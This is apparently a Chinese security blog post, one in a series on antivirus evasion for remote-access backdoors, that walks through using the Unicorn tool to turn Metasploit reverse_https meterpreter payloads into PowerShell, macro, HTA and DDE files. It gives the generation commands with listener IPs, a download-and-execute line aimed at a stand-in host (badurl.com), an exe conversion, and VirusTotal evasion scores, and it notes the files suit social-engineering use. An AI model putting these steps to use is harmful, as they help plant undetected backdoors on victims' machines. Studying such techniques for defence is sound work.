远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本专题文章导航

1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2.远控免杀专题(2)-msfvenom隐藏的参数:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w

3.远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

4.远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5.远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw

6.远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ

7.远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

8.远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71):https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

9.远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://mp.weixin.qq.com/s/EIfqAbMC8HoC6xcZP9SXpA

10.远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA

11.远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg

12.远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70):https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

13.远控免杀专题(13)-zirikatu免杀(VT免杀率39/71):https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA

14.远控免杀专题(14)-AVIator免杀(VT免杀率25/69):https://mp.weixin.qq.com/s/JYMq_qHvnslVlqijHNny8Q

15.远控免杀专题(15)-DKMC免杀(VT免杀率8/55):https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg

16.远控免杀专题(16)-Unicorn免杀(VT免杀率29/56):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、Unicorn介绍

Magic Unicorn是一个比较简单的小工具,主要是基于Matthew Graeber提出的PowerShell攻击技术以及David Kennedy和Josh Kelly 提出的powershell bypass技术,把所有payload都转换成powershell代码。

Magic Unicorn支持cobalt strike、Metasploit和自定义的shellcode。

二、安装Unicorn

安装比较简单

git clone https://github.com/trustedsec/unicorn.git

都不需要安装其他的python库,就可以直接运行。

当然还是需要已经安装了Msf才行,因为Unicorn生成payload还是依赖msf,只不过它把payload转换成了powershell命令来运行。

执行python unicorn.py即可。

三、Unicorn使用说明

可以使用python unicorn.py --help命令查看详细帮助

主要的几个用法如下:

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms
Help Menu: python unicorn.py --help

支持生成ps1、macro、hta、dde等形式的代码和文件。

四、利用Unicorn生成后门

我以最常规的windows/meterpreter/reverse_https来生成payload

生成命令为

python unicorn.py windows/meterpreter/reverse_https 10.211.55.2 3334

其中10.211.55.23334是我msf监听的ip和端口

生成了两个文件powershell_attack.txtunicorn.rc

其中powershell_attack.txt是生成的payload

unicorn.rc是msf配置文件,也就是用msfconsole -r unicorn.rc命令可以快捷的启动msf并监听相应端口

然后我们在测试机器上执行powershell_attack.txt里的代码

可正常上线

可以把powershell代码转换成exe,使用bat2exe就可以,生成ps1.exe

执行ps1.exe,发现触发了360安全卫士的行为检测,不过火绒没有反应。

virustotal.com上powershell_attack.txt文件的查杀率为14/57

virustotal.com上ps1.exe文件的查杀率为36/69,转exe后略微有点惨。

后来生成了一个hta文件进行测试,virustotal.com上查杀率为29/56

四、小结

Unicorn使用比较简单,可以生成powershell代码、macro宏代码、hta、dde等格式的payload文件,可以在社工时直接使用,不过因为生成的代码关键字比较明显,所以静态查杀很多都没通过,只能说生成代码多样但免杀效果一般。

上面用到bat2exe工具和zirikatu已经放在tools文件夹中,还算挺好使。

https://github.com/TideSec/BypassAntiVirus/tree/master/tools

参考

magic-unicorn:https://www.hackingarticles.in/magic-unicorn-powershell-downgrade-attack-and-exploitation-tool/

过win10防火墙和windows defender:https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/

扫描下方二维码学习更多安全知识:

Ms08067安全实验室

专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:www.ms08067.com

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值